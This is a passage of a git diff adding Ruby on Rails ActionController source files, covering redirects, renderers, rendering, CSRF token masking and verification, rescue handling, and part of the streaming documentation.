@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+module ActionController
+  module Redirecting
+    extend ActiveSupport::Concern
+
+    include AbstractController::Logger
+    include ActionController::UrlFor
+
+    # Redirects the browser to the target specified in +options+. This parameter can be any one of:
+    #
+    # * <tt>Hash</tt> - The URL will be generated by calling url_for with the +options+.
+    # * <tt>Record</tt> - The URL will be generated by calling url_for with the +options+, which will reference a named URL for that record.
+    # * <tt>String</tt> starting with <tt>protocol://</tt> (like <tt>http://</tt>) or a protocol relative reference (like <tt>//</tt>) - Is passed straight through as the target for redirection.
+    # * <tt>String</tt> not containing a protocol - The current protocol and host is prepended to the string.
+    # * <tt>Proc</tt> - A block that will be executed in the controller's context. Should return any option accepted by +redirect_to+.
+    #
+    # === Examples:
+    #
+    #   redirect_to action: "show", id: 5
+    #   redirect_to @post
+    #   redirect_to "http://www.rubyonrails.org"
+    #   redirect_to "/images/screenshot.jpg"
+    #   redirect_to posts_url
+    #   redirect_to proc { edit_post_url(@post) }
+    #
+    # The redirection happens as a <tt>302 Found</tt> header unless otherwise specified using the <tt>:status</tt> option:
+    #
+    #   redirect_to post_url(@post), status: :found
+    #   redirect_to action: 'atom', status: :moved_permanently
+    #   redirect_to post_url(@post), status: 301
+    #   redirect_to action: 'atom', status: 302
+    #
+    # The status code can either be a standard {HTTP Status code}[http://www.iana.org/assignments/http-status-codes] as an
+    # integer, or a symbol representing the downcased, underscored and symbolized description.
+    # Note that the status code must be a 3xx HTTP code, or redirection will not occur.
+    #
+    # If you are using XHR requests other than GET or POST and redirecting after the
+    # request then some browsers will follow the redirect using the original request
+    # method. This may lead to undesirable behavior such as a double DELETE. To work
+    # around this you can return a <tt>303 See Other</tt> status code which will be
+    # followed using a GET request.
+    #
+    #   redirect_to posts_url, status: :see_other
+    #   redirect_to action: 'index', status: 303
+    #
+    # It is also possible to assign a flash message as part of the redirection. There are two special accessors for the commonly used flash names
+    # +alert+ and +notice+ as well as a general purpose +flash+ bucket.
+    #
+    #   redirect_to post_url(@post), alert: "Watch it, mister!"
+    #   redirect_to post_url(@post), status: :found, notice: "Pay attention to the road"
+    #   redirect_to post_url(@post), status: 301, flash: { updated_post_id: @post.id }
+    #   redirect_to({ action: 'atom' }, alert: "Something serious happened")
+    #
+    # Statements after +redirect_to+ in our controller get executed, so +redirect_to+ doesn't stop the execution of the function.
+    # To terminate the execution of the function immediately after the +redirect_to+, use return.
+    #   redirect_to post_url(@post) and return
+    def redirect_to(options = {}, response_status = {})
+      raise ActionControllerError.new("Cannot redirect to nil!") unless options
+      raise AbstractController::DoubleRenderError if response_body
+
+      self.status        = _extract_redirect_to_status(options, response_status)
+      self.location      = _compute_redirect_to_location(request, options)
+      self.response_body = "<html><body>You are being <a href=\"#{ERB::Util.unwrapped_html_escape(response.location)}\">redirected</a>.</body></html>"
+    end
+
+    # Redirects the browser to the page that issued the request (the referrer)
+    # if possible, otherwise redirects to the provided default fallback
+    # location.
+    #
+    # The referrer information is pulled from the HTTP `Referer` (sic) header on
+    # the request. This is an optional header and its presence on the request is
+    # subject to browser security settings and user preferences. If the request
+    # is missing this header, the <tt>fallback_location</tt> will be used.
+    #
+    #   redirect_back fallback_location: { action: "show", id: 5 }
+    #   redirect_back fallback_location: @post
+    #   redirect_back fallback_location: "http://www.rubyonrails.org"
+    #   redirect_back fallback_location: "/images/screenshot.jpg"
+    #   redirect_back fallback_location: posts_url
+    #   redirect_back fallback_location: proc { edit_post_url(@post) }
+    #
+    # All options that can be passed to <tt>redirect_to</tt> are accepted as
+    # options and the behavior is identical.
+    def redirect_back(fallback_location:, **args)
+      if referer = request.headers["Referer"]
+        redirect_to referer, **args
+      else
+        redirect_to fallback_location, **args
+      end
+    end
+
+    def _compute_redirect_to_location(request, options) #:nodoc:
+      case options
+      # The scheme name consist of a letter followed by any combination of
+      # letters, digits, and the plus ("+"), period ("."), or hyphen ("-")
+      # characters; and is terminated by a colon (":").
+      # See http://tools.ietf.org/html/rfc3986#section-3.1
+      # The protocol relative scheme starts with a double slash "//".
+      when /\A([a-z][a-z\d\-+\.]*:|\/\/).*/i
+        options
+      when String
+        request.protocol + request.host_with_port + options
+      when Proc
+        _compute_redirect_to_location request, options.call
+      else
+        url_for(options)
+      end.delete("\0\r\n")
+    end
+    module_function :_compute_redirect_to_location
+    public :_compute_redirect_to_location
+
+    private
+      def _extract_redirect_to_status(options, response_status)
+        if options.is_a?(Hash) && options.key?(:status)
+          Rack::Utils.status_code(options.delete(:status))
+        elsif response_status.key?(:status)
+          Rack::Utils.status_code(response_status[:status])
+        else
+          302
+        end
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/renderers.rb b/actionpack/lib/action_controller/metal/renderers.rb
new file mode 100644
index 0000000000..26752571f8
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/renderers.rb
@@ -0,0 +1,181 @@
+# frozen_string_literal: true
+
+require "set"
+
+module ActionController
+  # See <tt>Renderers.add</tt>
+  def self.add_renderer(key, &block)
+    Renderers.add(key, &block)
+  end
+
+  # See <tt>Renderers.remove</tt>
+  def self.remove_renderer(key)
+    Renderers.remove(key)
+  end
+
+  # See <tt>Responder#api_behavior</tt>
+  class MissingRenderer < LoadError
+    def initialize(format)
+      super "No renderer defined for format: #{format}"
+    end
+  end
+
+  module Renderers
+    extend ActiveSupport::Concern
+
+    # A Set containing renderer names that correspond to available renderer procs.
+    # Default values are <tt>:json</tt>, <tt>:js</tt>, <tt>:xml</tt>.
+    RENDERERS = Set.new
+
+    included do
+      class_attribute :_renderers, default: Set.new.freeze
+    end
+
+    # Used in <tt>ActionController::Base</tt>
+    # and <tt>ActionController::API</tt> to include all
+    # renderers by default.
+    module All
+      extend ActiveSupport::Concern
+      include Renderers
+
+      included do
+        self._renderers = RENDERERS
+      end
+    end
+
+    # Adds a new renderer to call within controller actions.
+    # A renderer is invoked by passing its name as an option to
+    # <tt>AbstractController::Rendering#render</tt>. To create a renderer
+    # pass it a name and a block. The block takes two arguments, the first
+    # is the value paired with its key and the second is the remaining
+    # hash of options passed to +render+.
+    #
+    # Create a csv renderer:
+    #
+    #   ActionController::Renderers.add :csv do |obj, options|
+    #     filename = options[:filename] || 'data'
+    #     str = obj.respond_to?(:to_csv) ? obj.to_csv : obj.to_s
+    #     send_data str, type: Mime[:csv],
+    #       disposition: "attachment; filename=#{filename}.csv"
+    #   end
+    #
+    # Note that we used Mime[:csv] for the csv mime type as it comes with Rails.
+    # For a custom renderer, you'll need to register a mime type with
+    # <tt>Mime::Type.register</tt>.
+    #
+    # To use the csv renderer in a controller action:
+    #
+    #   def show
+    #     @csvable = Csvable.find(params[:id])
+    #     respond_to do |format|
+    #       format.html
+    #       format.csv { render csv: @csvable, filename: @csvable.name }
+    #     end
+    #   end
+    def self.add(key, &block)
+      define_method(_render_with_renderer_method_name(key), &block)
+      RENDERERS << key.to_sym
+    end
+
+    # This method is the opposite of add method.
+    #
+    # To remove a csv renderer:
+    #
+    #   ActionController::Renderers.remove(:csv)
+    def self.remove(key)
+      RENDERERS.delete(key.to_sym)
+      method_name = _render_with_renderer_method_name(key)
+      remove_method(method_name) if method_defined?(method_name)
+    end
+
+    def self._render_with_renderer_method_name(key)
+      "_render_with_renderer_#{key}"
+    end
+
+    module ClassMethods
+      # Adds, by name, a renderer or renderers to the +_renderers+ available
+      # to call within controller actions.
+      #
+      # It is useful when rendering from an <tt>ActionController::Metal</tt> controller or
+      # otherwise to add an available renderer proc to a specific controller.
+      #
+      # Both <tt>ActionController::Base</tt> and <tt>ActionController::API</tt>
+      # include <tt>ActionController::Renderers::All</tt>, making all renderers
+      # available in the controller. See <tt>Renderers::RENDERERS</tt> and <tt>Renderers.add</tt>.
+      #
+      # Since <tt>ActionController::Metal</tt> controllers cannot render, the controller
+      # must include <tt>AbstractController::Rendering</tt>, <tt>ActionController::Rendering</tt>,
+      # and <tt>ActionController::Renderers</tt>, and have at least one renderer.
+      #
+      # Rather than including <tt>ActionController::Renderers::All</tt> and including all renderers,
+      # you may specify which renderers to include by passing the renderer name or names to
+      # +use_renderers+. For example, a controller that includes only the <tt>:json</tt> renderer
+      # (+_render_with_renderer_json+) might look like:
+      #
+      #   class MetalRenderingController < ActionController::Metal
+      #     include AbstractController::Rendering
+      #     include ActionController::Rendering
+      #     include ActionController::Renderers
+      #
+      #     use_renderers :json
+      #
+      #     def show
+      #       render json: record
+      #     end
+      #   end
+      #
+      # You must specify a +use_renderer+, else the +controller.renderer+ and
+      # +controller._renderers+ will be <tt>nil</tt>, and the action will fail.
+      def use_renderers(*args)
+        renderers = _renderers + args
+        self._renderers = renderers.freeze
+      end
+      alias use_renderer use_renderers
+    end
+
+    # Called by +render+ in <tt>AbstractController::Rendering</tt>
+    # which sets the return value as the +response_body+.
+    #
+    # If no renderer is found, +super+ returns control to
+    # <tt>ActionView::Rendering.render_to_body</tt>, if present.
+    def render_to_body(options)
+      _render_to_body_with_renderer(options) || super
+    end
+
+    def _render_to_body_with_renderer(options)
+      _renderers.each do |name|
+        if options.key?(name)
+          _process_options(options)
+          method_name = Renderers._render_with_renderer_method_name(name)
+          return send(method_name, options.delete(name), options)
+        end
+      end
+      nil
+    end
+
+    add :json do |json, options|
+      json = json.to_json(options) unless json.kind_of?(String)
+
+      if options[:callback].present?
+        if content_type.nil? || content_type == Mime[:json]
+          self.content_type = Mime[:js]
+        end
+
+        "/**/#{options[:callback]}(#{json})"
+      else
+        self.content_type ||= Mime[:json]
+        json
+      end
+    end
+
+    add :js do |js, options|
+      self.content_type ||= Mime[:js]
+      js.respond_to?(:to_js) ? js.to_js(options) : js
+    end
+
+    add :xml do |xml, options|
+      self.content_type ||= Mime[:xml]
+      xml.respond_to?(:to_xml) ? xml.to_xml(options) : xml
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/rendering.rb b/actionpack/lib/action_controller/metal/rendering.rb
new file mode 100644
index 0000000000..d32eabf9ba
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/rendering.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/filters"
+
+module ActionController
+  module Rendering
+    extend ActiveSupport::Concern
+
+    RENDER_FORMATS_IN_PRIORITY = [:body, :plain, :html]
+
+    module ClassMethods
+      # Documentation at ActionController::Renderer#render
+      delegate :render, to: :renderer
+
+      # Returns a renderer instance (inherited from ActionController::Renderer)
+      # for the controller.
+      attr_reader :renderer
+
+      def setup_renderer! # :nodoc:
+        @renderer = Renderer.for(self)
+      end
+
+      def inherited(klass)
+        klass.setup_renderer!
+        super
+      end
+    end
+
+    # Before processing, set the request formats in current controller formats.
+    def process_action(*) #:nodoc:
+      self.formats = request.formats.map(&:ref).compact
+      super
+    end
+
+    # Check for double render errors and set the content_type after rendering.
+    def render(*args) #:nodoc:
+      raise ::AbstractController::DoubleRenderError if response_body
+      super
+    end
+
+    # Overwrite render_to_string because body can now be set to a Rack body.
+    def render_to_string(*)
+      result = super
+      if result.respond_to?(:each)
+        string = ""
+        result.each { |r| string << r }
+        string
+      else
+        result
+      end
+    end
+
+    def render_to_body(options = {})
+      super || _render_in_priorities(options) || " "
+    end
+
+    private
+
+      def _process_variant(options)
+        if defined?(request) && !request.nil? && request.variant.present?
+          options[:variant] = request.variant
+        end
+      end
+
+      def _render_in_priorities(options)
+        RENDER_FORMATS_IN_PRIORITY.each do |format|
+          return options[format] if options.key?(format)
+        end
+
+        nil
+      end
+
+      def _set_html_content_type
+        self.content_type = Mime[:html].to_s
+      end
+
+      def _set_rendered_content_type(format)
+        if format && !response.content_type
+          self.content_type = format.to_s
+        end
+      end
+
+      # Normalize arguments by catching blocks and setting them on :update.
+      def _normalize_args(action = nil, options = {}, &blk)
+        options = super
+        options[:update] = blk if block_given?
+        options
+      end
+
+      # Normalize both text and status options.
+      def _normalize_options(options)
+        _normalize_text(options)
+
+        if options[:html]
+          options[:html] = ERB::Util.html_escape(options[:html])
+        end
+
+        if options[:status]
+          options[:status] = Rack::Utils.status_code(options[:status])
+        end
+
+        super
+      end
+
+      def _normalize_text(options)
+        RENDER_FORMATS_IN_PRIORITY.each do |format|
+          if options.key?(format) && options[format].respond_to?(:to_text)
+            options[format] = options[format].to_text
+          end
+        end
+      end
+
+      # Process controller specific options, as status, content-type and location.
+      def _process_options(options)
+        status, content_type, location = options.values_at(:status, :content_type, :location)
+
+        self.status = status if status
+        self.content_type = content_type if content_type
+        headers["Location"] = url_for(location) if location
+
+        super
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/request_forgery_protection.rb b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
new file mode 100644
index 0000000000..d397c62461
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/request_forgery_protection.rb
@@ -0,0 +1,433 @@
+# frozen_string_literal: true
+
+require "rack/session/abstract/id"
+require_relative "exceptions"
+require "active_support/security_utils"
+
+module ActionController #:nodoc:
+  class InvalidAuthenticityToken < ActionControllerError #:nodoc:
+  end
+
+  class InvalidCrossOriginRequest < ActionControllerError #:nodoc:
+  end
+
+  # Controller actions are protected from Cross-Site Request Forgery (CSRF) attacks
+  # by including a token in the rendered HTML for your application. This token is
+  # stored as a random string in the session, to which an attacker does not have
+  # access. When a request reaches your application, \Rails verifies the received
+  # token with the token in the session. All requests are checked except GET requests
+  # as these should be idempotent. Keep in mind that all session-oriented requests
+  # should be CSRF protected, including JavaScript and HTML requests.
+  #
+  # Since HTML and JavaScript requests are typically made from the browser, we
+  # need to ensure to verify request authenticity for the web browser. We can
+  # use session-oriented authentication for these types of requests, by using
+  # the `protect_from_forgery` method in our controllers.
+  #
+  # GET requests are not protected since they don't have side effects like writing
+  # to the database and don't leak sensitive information. JavaScript requests are
+  # an exception: a third-party site can use a <script> tag to reference a JavaScript
+  # URL on your site. When your JavaScript response loads on their site, it executes.
+  # With carefully crafted JavaScript on their end, sensitive data in your JavaScript
+  # response may be extracted. To prevent this, only XmlHttpRequest (known as XHR or
+  # Ajax) requests are allowed to make GET requests for JavaScript responses.
+  #
+  # It's important to remember that XML or JSON requests are also affected and if
+  # you're building an API you should change forgery protection method in
+  # <tt>ApplicationController</tt> (by default: <tt>:exception</tt>):
+  #
+  #   class ApplicationController < ActionController::Base
+  #     protect_from_forgery unless: -> { request.format.json? }
+  #   end
+  #
+  # CSRF protection is turned on with the <tt>protect_from_forgery</tt> method.
+  # By default <tt>protect_from_forgery</tt> protects your session with
+  # <tt>:null_session</tt> method, which provides an empty session
+  # during request.
+  #
+  # We may want to disable CSRF protection for APIs since they are typically
+  # designed to be state-less. That is, the request API client will handle
+  # the session for you instead of Rails.
+  #
+  # The token parameter is named <tt>authenticity_token</tt> by default. The name and
+  # value of this token must be added to every layout that renders forms by including
+  # <tt>csrf_meta_tags</tt> in the HTML +head+.
+  #
+  # Learn more about CSRF attacks and securing your application in the
+  # {Ruby on Rails Security Guide}[http://guides.rubyonrails.org/security.html].
+  module RequestForgeryProtection
+    extend ActiveSupport::Concern
+
+    include AbstractController::Helpers
+    include AbstractController::Callbacks
+
+    included do
+      # Sets the token parameter name for RequestForgery. Calling +protect_from_forgery+
+      # sets it to <tt>:authenticity_token</tt> by default.
+      config_accessor :request_forgery_protection_token
+      self.request_forgery_protection_token ||= :authenticity_token
+
+      # Holds the class which implements the request forgery protection.
+      config_accessor :forgery_protection_strategy
+      self.forgery_protection_strategy = nil
+
+      # Controls whether request forgery protection is turned on or not. Turned off by default only in test mode.
+      config_accessor :allow_forgery_protection
+      self.allow_forgery_protection = true if allow_forgery_protection.nil?
+
+      # Controls whether a CSRF failure logs a warning. On by default.
+      config_accessor :log_warning_on_csrf_failure
+      self.log_warning_on_csrf_failure = true
+
+      # Controls whether the Origin header is checked in addition to the CSRF token.
+      config_accessor :forgery_protection_origin_check
+      self.forgery_protection_origin_check = false
+
+      # Controls whether form-action/method specific CSRF tokens are used.
+      config_accessor :per_form_csrf_tokens
+      self.per_form_csrf_tokens = false
+
+      # Controls whether forgery protection is enabled by default.
+      config_accessor :default_protect_from_forgery
+      self.default_protect_from_forgery = false
+
+      helper_method :form_authenticity_token
+      helper_method :protect_against_forgery?
+    end
+
+    module ClassMethods
+      # Turn on request forgery protection. Bear in mind that GET and HEAD requests are not checked.
+      #
+      #   class ApplicationController < ActionController::Base
+      #     protect_from_forgery
+      #   end
+      #
+      #   class FooController < ApplicationController
+      #     protect_from_forgery except: :index
+      #   end
+      #
+      # You can disable forgery protection on controller by skipping the verification before_action:
+      #
+      #   skip_before_action :verify_authenticity_token
+      #
+      # Valid Options:
+      #
+      # * <tt>:only/:except</tt> - Only apply forgery protection to a subset of actions. For example <tt>only: [ :create, :create_all ]</tt>.
+      # * <tt>:if/:unless</tt> - Turn off the forgery protection entirely depending on the passed Proc or method reference.
+      # * <tt>:prepend</tt> - By default, the verification of the authentication token will be added at the position of the
+      #   protect_from_forgery call in your application. This means any callbacks added before are run first. This is useful
+      #   when you want your forgery protection to depend on other callbacks, like authentication methods (Oauth vs Cookie auth).
+      #
+      #   If you need to add verification to the beginning of the callback chain, use <tt>prepend: true</tt>.
+      # * <tt>:with</tt> - Set the method to handle unverified request.
+      #
+      # Valid unverified request handling methods are:
+      # * <tt>:exception</tt> - Raises ActionController::InvalidAuthenticityToken exception.
+      # * <tt>:reset_session</tt> - Resets the session.
+      # * <tt>:null_session</tt> - Provides an empty session during request but doesn't reset it completely. Used as default if <tt>:with</tt> option is not specified.
+      def protect_from_forgery(options = {})
+        options = options.reverse_merge(prepend: false)
+
+        self.forgery_protection_strategy = protection_method_class(options[:with] || :null_session)
+        self.request_forgery_protection_token ||= :authenticity_token
+        before_action :verify_authenticity_token, options
+        append_after_action :verify_same_origin_request
+      end
+
+      # Turn off request forgery protection. This is a wrapper for:
+      #
+      #   skip_before_action :verify_authenticity_token
+      #
+      # See +skip_before_action+ for allowed options.
+      def skip_forgery_protection(options = {})
+        skip_before_action :verify_authenticity_token, options
+      end
+
+      private
+
+        def protection_method_class(name)
+          ActionController::RequestForgeryProtection::ProtectionMethods.const_get(name.to_s.classify)
+        rescue NameError
+          raise ArgumentError, "Invalid request forgery protection method, use :null_session, :exception, or :reset_session"
+        end
+    end
+
+    module ProtectionMethods
+      class NullSession
+        def initialize(controller)
+          @controller = controller
+        end
+
+        # This is the method that defines the application behavior when a request is found to be unverified.
+        def handle_unverified_request
+          request = @controller.request
+          request.session = NullSessionHash.new(request)
+          request.flash = nil
+          request.session_options = { skip: true }
+          request.cookie_jar = NullCookieJar.build(request, {})
+        end
+
+        private
+
+          class NullSessionHash < Rack::Session::Abstract::SessionHash #:nodoc:
+            def initialize(req)
+              super(nil, req)
+              @data = {}
+              @loaded = true
+            end
+
+            # no-op
+            def destroy; end
+
+            def exists?
+              true
+            end
+          end
+
+          class NullCookieJar < ActionDispatch::Cookies::CookieJar #:nodoc:
+            def write(*)
+              # nothing
+            end
+          end
+      end
+
+      class ResetSession
+        def initialize(controller)
+          @controller = controller
+        end
+
+        def handle_unverified_request
+          @controller.reset_session
+        end
+      end
+
+      class Exception
+        def initialize(controller)
+          @controller = controller
+        end
+
+        def handle_unverified_request
+          raise ActionController::InvalidAuthenticityToken
+        end
+      end
+    end
+
+    private
+      # The actual before_action that is used to verify the CSRF token.
+      # Don't override this directly. Provide your own forgery protection
+      # strategy instead. If you override, you'll disable same-origin
+      # `<script>` verification.
+      #
+      # Lean on the protect_from_forgery declaration to mark which actions are
+      # due for same-origin request verification. If protect_from_forgery is
+      # enabled on an action, this before_action flags its after_action to
+      # verify that JavaScript responses are for XHR requests, ensuring they
+      # follow the browser's same-origin policy.
+      def verify_authenticity_token # :doc:
+        mark_for_same_origin_verification!
+
+        if !verified_request?
+          if logger && log_warning_on_csrf_failure
+            if valid_request_origin?
+              logger.warn "Can't verify CSRF token authenticity."
+            else
+              logger.warn "HTTP Origin header (#{request.origin}) didn't match request.base_url (#{request.base_url})"
+            end
+          end
+          handle_unverified_request
+        end
+      end
+
+      def handle_unverified_request # :doc:
+        forgery_protection_strategy.new(self).handle_unverified_request
+      end
+
+      #:nodoc:
+      CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
+        "<script> tag on another site requested protected JavaScript. " \
+        "If you know what you're doing, go ahead and disable forgery " \
+        "protection on this action to permit cross-origin JavaScript embedding."
+      private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+
+      # If `verify_authenticity_token` was run (indicating that we have
+      # forgery protection enabled for this request) then also verify that
+      # we aren't serving an unauthorized cross-origin response.
+      def verify_same_origin_request # :doc:
+        if marked_for_same_origin_verification? && non_xhr_javascript_response?
+          if logger && log_warning_on_csrf_failure
+            logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING
+          end
+          raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
+        end
+      end
+
+      # GET requests are checked for cross-origin JavaScript after rendering.
+      def mark_for_same_origin_verification! # :doc:
+        @marked_for_same_origin_verification = request.get?
+      end
+
+      # If the `verify_authenticity_token` before_action ran, verify that
+      # JavaScript responses are only served to same-origin GET requests.
+      def marked_for_same_origin_verification? # :doc:
+        @marked_for_same_origin_verification ||= false
+      end
+
+      # Check for cross-origin JavaScript responses.
+      def non_xhr_javascript_response? # :doc:
+        content_type =~ %r(\Atext/javascript) && !request.xhr?
+      end
+
+      AUTHENTICITY_TOKEN_LENGTH = 32
+
+      # Returns true or false if a request is verified. Checks:
+      #
+      # * Is it a GET or HEAD request? GETs should be safe and idempotent
+      # * Does the form_authenticity_token match the given token value from the params?
+      # * Does the X-CSRF-Token header match the form_authenticity_token?
+      def verified_request? # :doc:
+        !protect_against_forgery? || request.get? || request.head? ||
+          (valid_request_origin? && any_authenticity_token_valid?)
+      end
+
+      # Checks if any of the authenticity tokens from the request are valid.
+      def any_authenticity_token_valid? # :doc:
+        request_authenticity_tokens.any? do |token|
+          valid_authenticity_token?(session, token)
+        end
+      end
+
+      # Possible authenticity tokens sent in the request.
+      def request_authenticity_tokens # :doc:
+        [form_authenticity_param, request.x_csrf_token]
+      end
+
+      # Sets the token value for the current session.
+      def form_authenticity_token(form_options: {})
+        masked_authenticity_token(session, form_options: form_options)
+      end
+
+      # Creates a masked version of the authenticity token that varies
+      # on each request. The masking is used to mitigate SSL attacks
+      # like BREACH.
+      def masked_authenticity_token(session, form_options: {}) # :doc:
+        action, method = form_options.values_at(:action, :method)
+
+        raw_token = if per_form_csrf_tokens && action && method
+          action_path = normalize_action_path(action)
+          per_form_csrf_token(session, action_path, method)
+        else
+          real_csrf_token(session)
+        end
+
+        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
+        encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
+        masked_token = one_time_pad + encrypted_csrf_token
+        Base64.strict_encode64(masked_token)
+      end
+
+      # Checks the client's masked token to see if it matches the
+      # session token. Essentially the inverse of
+      # +masked_authenticity_token+.
+      def valid_authenticity_token?(session, encoded_masked_token) # :doc:
+        if encoded_masked_token.nil? || encoded_masked_token.empty? || !encoded_masked_token.is_a?(String)
+          return false
+        end
+
+        begin
+          masked_token = Base64.strict_decode64(encoded_masked_token)
+        rescue ArgumentError # encoded_masked_token is invalid Base64
+          return false
+        end
+
+        # See if it's actually a masked token or not. In order to
+        # deploy this code, we should be able to handle any unmasked
+        # tokens that we've issued without error.
+
+        if masked_token.length == AUTHENTICITY_TOKEN_LENGTH
+          # This is actually an unmasked token. This is expected if
+          # you have just upgraded to masked tokens, but should stop
+          # happening shortly after installing this gem.
+          compare_with_real_token masked_token, session
+
+        elsif masked_token.length == AUTHENTICITY_TOKEN_LENGTH * 2
+          csrf_token = unmask_token(masked_token)
+
+          compare_with_real_token(csrf_token, session) ||
+            valid_per_form_csrf_token?(csrf_token, session)
+        else
+          false # Token is malformed.
+        end
+      end
+
+      def unmask_token(masked_token) # :doc:
+        # Split the token into the one-time pad and the encrypted
+        # value and decrypt it.
+        one_time_pad = masked_token[0...AUTHENTICITY_TOKEN_LENGTH]
+        encrypted_csrf_token = masked_token[AUTHENTICITY_TOKEN_LENGTH..-1]
+        xor_byte_strings(one_time_pad, encrypted_csrf_token)
+      end
+
+      def compare_with_real_token(token, session) # :doc:
+        ActiveSupport::SecurityUtils.secure_compare(token, real_csrf_token(session))
+      end
+
+      def valid_per_form_csrf_token?(token, session) # :doc:
+        if per_form_csrf_tokens
+          correct_token = per_form_csrf_token(
+            session,
+            normalize_action_path(request.fullpath),
+            request.request_method
+          )
+
+          ActiveSupport::SecurityUtils.secure_compare(token, correct_token)
+        else
+          false
+        end
+      end
+
+      def real_csrf_token(session) # :doc:
+        session[:_csrf_token] ||= SecureRandom.base64(AUTHENTICITY_TOKEN_LENGTH)
+        Base64.strict_decode64(session[:_csrf_token])
+      end
+
+      def per_form_csrf_token(session, action_path, method) # :doc:
+        OpenSSL::HMAC.digest(
+          OpenSSL::Digest::SHA256.new,
+          real_csrf_token(session),
+          [action_path, method.downcase].join("#")
+        )
+      end
+
+      def xor_byte_strings(s1, s2) # :doc:
+        s2_bytes = s2.bytes
+        s1.each_byte.with_index { |c1, i| s2_bytes[i] ^= c1 }
+        s2_bytes.pack("C*")
+      end
+
+      # The form's authenticity parameter. Override to provide your own.
+      def form_authenticity_param # :doc:
+        params[request_forgery_protection_token]
+      end
+
+      # Checks if the controller allows forgery protection.
+      def protect_against_forgery? # :doc:
+        allow_forgery_protection
+      end
+
+      # Checks if the request originated from the same origin by looking at the
+      # Origin header.
+      def valid_request_origin? # :doc:
+        if forgery_protection_origin_check
+          # We accept blank origin headers because some user agents don't send it.
+          request.origin.nil? || request.origin == request.base_url
+        else
+          true
+        end
+      end
+
+      def normalize_action_path(action_path) # :doc:
+        uri = URI.parse(action_path)
+        uri.path.chomp("/")
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/rescue.rb b/actionpack/lib/action_controller/metal/rescue.rb
new file mode 100644
index 0000000000..843c99f57b
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/rescue.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module ActionController #:nodoc:
+  # This module is responsible for providing `rescue_from` helpers
+  # to controllers and configuring when detailed exceptions must be
+  # shown.
+  module Rescue
+    extend ActiveSupport::Concern
+    include ActiveSupport::Rescuable
+
+    # Override this method if you want to customize when detailed
+    # exceptions must be shown. This method is only called when
+    # consider_all_requests_local is false. By default, it returns
+    # false, but someone may set it to `request.local?` so local
+    # requests in production still show the detailed exception pages.
+    def show_detailed_exceptions?
+      false
+    end
+
+    private
+      def process_action(*args)
+        super
+      rescue Exception => exception
+        request.env["action_dispatch.show_detailed_exceptions"] ||= show_detailed_exceptions?
+        rescue_with_handler(exception) || raise
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
new file mode 100644
index 0000000000..0b1598bf1b
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -0,0 +1,223 @@
+# frozen_string_literal: true
+
+require "rack/chunked"
+
+module ActionController #:nodoc:
+  # Allows views to be streamed back to the client as they are rendered.
+  #
+  # By default, Rails renders views by first rendering the template
+  # and then the layout. The response is sent to the client after the whole
+  # template is rendered, all queries are made, and the layout is processed.
+  #
+  # Streaming inverts the rendering flow by rendering the layout first and
+  # streaming each part of the layout as they are processed. This allows the
+  # header of the HTML (which is usually in the layout) to be streamed back
+  # to client very quickly, allowing JavaScripts and stylesheets to be loaded
+  # earlier than usual.
+  #
+  # This approach was introduced in Rails 3.1 and is still improving. Several
+  # Rack middlewares may not work and you need to be careful when streaming.
+  # Those points are going to be addressed soon.
+  #
+  # In order to use streaming, you will need to use a Ruby version that
+  # supports fibers (fibers are supported since version 1.9.2 of the main
+  # Ruby implementation).
+  #
+  # Streaming can be added to a given template easily, all you need to do is
+  # to pass the :stream option.
+  #
+  #   class PostsController
+  #     def index
+  #       @posts = Post.all
+  #       render stream: true
+  #     end
+  #   end
+  #
+  # == When to use streaming
+  #
+  # Streaming may be considered to be overkill for lightweight actions like
+  # +new+ or +edit+. The real benefit of streaming is on expensive actions
+  # that, for example, do a lot of queries on the database.
+  #
+  # In such actions, you want to delay queries execution as much as you can.
+  # For example, imagine the following +dashboard+ action:
+  #
+  #   def dashboard
+  #     @posts = Post.all
+  #     @pages = Page.all
+  #     @articles = Article.all
+  #   end
+  #
+  # Most of the queries here are happening in the controller. In order to benefit
+  # from streaming you would want to rewrite it as:
+  #
+  #   def dashboard
+  #     # Allow lazy execution of the queries
+  #     @posts = Post.all
+  #     @pages = Page.all
+  #     @articles = Article.all
+  #     render stream: true
+  #   end
+  #
+  # Notice that :stream only works with templates. Rendering :json
+  # or :xml with :stream won't work.
+  #
+  # == Communication between layout and template
+  #
+  # When streaming, rendering happens top-down instead of inside-out.
+  # Rails starts with the layout, and the template is rendered later,
+  # when its +yield+ is reached.
+  #
+  # This means that, if your application currently relies on instance
+  # variables set in the template to be used in the layout, they won't
+  # work once you move to streaming. The proper way to communicate
+  # between layout and template, regardless of whether you use streaming
+  # or not, is by using +content_for+, +provide+ and +yield+.
+  #
+  # Take a simple example where the layout expects the template to tell
+  # which title to use:
+  #
+  #   <html>
+  #     <head><title><%= yield :title %></title></head>
+  #     <body><%= yield %></body>
+  #   </html>
+  #
+  # You would use +content_for+ in your template to specify the title:
+  #
+  #   <%= content_for :title, "Main" %>
+  #   Hello
+  #
+  # And the final result would be:
+  #
+  #   <html>
+  #     <head><title>Main</title></head>
+  #     <body>Hello</body>
+  #   </html>
+  #
+  # However, if +content_for+ is called several times, the final result
+  # would have all calls concatenated. For instance, if we have the following
+  # template:
+  #
+  #   <%= content_for :title, "Main" %>
